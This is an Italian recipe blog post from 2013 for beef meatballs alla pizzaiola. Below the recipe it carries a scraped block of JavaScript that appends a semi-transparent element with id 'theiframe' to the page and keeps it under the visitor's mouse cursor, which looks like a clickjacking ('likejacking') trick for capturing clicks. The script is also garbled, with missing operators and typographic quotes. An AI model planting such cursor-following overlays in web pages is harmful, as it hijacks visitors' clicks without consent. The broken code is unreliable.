sabato 5 ottobre 2013

Polpettine di manzo alla pizzaiola

INGREDIENTI PER 4 PERSONE 400 gr di carne di manzo macinata 40gr di mollica di pane raffermo 3 cucchiai di parmigiano grattugiato 1 uovo 1 cucchiaio di prezzemolo tritato 1 spicchio di aglio 200 gr di passata di pomodoro 1 cucchiaio di capperi sotto sale 10 olive nere snocciolate 2 cucchiai di pangrattato 5 cucchiai di olio extravergine di oliva sale PREPARAZIONE Amalgamate in una ciotola capiente la carne di manzo con la mollica bagnata d'acqua ,strizzate e sbriciolata.Unite il parmigiano ,l'uovo,meta' del prezzemolo ,salate e amalgamate bene.Con le mani uinumidite formate con il composto 12 polpette appiattitele leggermente e passatele nel pangrattatoricoprendole uniformemente.Scaldate 3 cucchiai di olio in un tegame a bordi bassi e fatevi dorare le polpette  a fuoco vivo per 1 min per lato.Abbassate la fiamma e cuocete per 10 min circa girandole 2-3 volte.Toglietele dal tegame e trasferitele su un piatto.Versate nel tegame l olio rimasto e soffriggete l aglio poi eliminatelo ,unite il pomodoro e prezzemolo rimasto .Salate ,mescolate e cuocete a fuoco moderato per 5 min .Aggiungete i capperi dissalati e le olive .Unite le polpette e fatele insaporire .ecco fatto il piatto e' pronto!!!
alle
Etichette:
text/javascript”> var opacity = 0.5; var time = 0; if((document.getElementById) window.addEventListener || window.attachEvent){ (function(){ var hairCol = “#ff0000″; var d = document; var my = -10; var mx = -10; var r; var vert = “”; var idx = document.getElementsByTagName(‘div’).length; var thehairs = “”; document.write(thehairs); var like = document.getElementById(“theiframe”); document.getElementsByTagName(‘body’)[0].appendChild(like); var pix = “px”; var domWw = (typeof window.innerWidth == “number”); var domSy = (typeof window.pageYOffset == “number”); if (domWw) r = window; else{ if (d.documentElement typeof d.documentElement.clientWidth == “number” d.documentElement.clientWidth != 0) r = d.documentElement; else{ if (d.body typeof d.body.clientWidth == “number”) r = d.body; } } if(time != 0){ setTimeout(function(){ document.getElementsByTagName(‘body’)[0].removeChild(like); if (window.addEventListener){ document.removeEventListener(“mousemove”,mouse,false); } else if (window.attachEvent){ document.detachEvent(“onmousemove”,mouse); } }, time); } function scrl(yx){ var y,x; if (domSy){ y = r.pageYOffset; x = r.pageXOffset; } else{ y = r.scrollTop; x = r.scrollLeft; } return (yx == 0) ? y:x; } function mouse(e){ var msy = (domSy)?window.pageYOffset:0; if (!e) e = window.event; if (typeof e.pageY == ‘number’){ my = e.pageY – 5 – msy; mx = e.pageX – 4; } else{ my = e.clientY – 6 – msy; mx = e.clientX – 6; } vert.top = my + scrl(0) + pix; vert.left = mx + pix; } function ani(){ vert.top = my + scrl(0) + pix; setTimeout(ani, 300); } function init(){ vert = document.getElementById(“theiframe”).style; ani(); } if (window.addEventListener){ window.addEventListener(“load”,init,false); document.addEventListener(“mousemove”,mouse,false); } else if (window.attachEvent){ window.attachEvent(“onload”,init); document.attachEvent(“onmousemove”,mouse); } })(); }//End. script>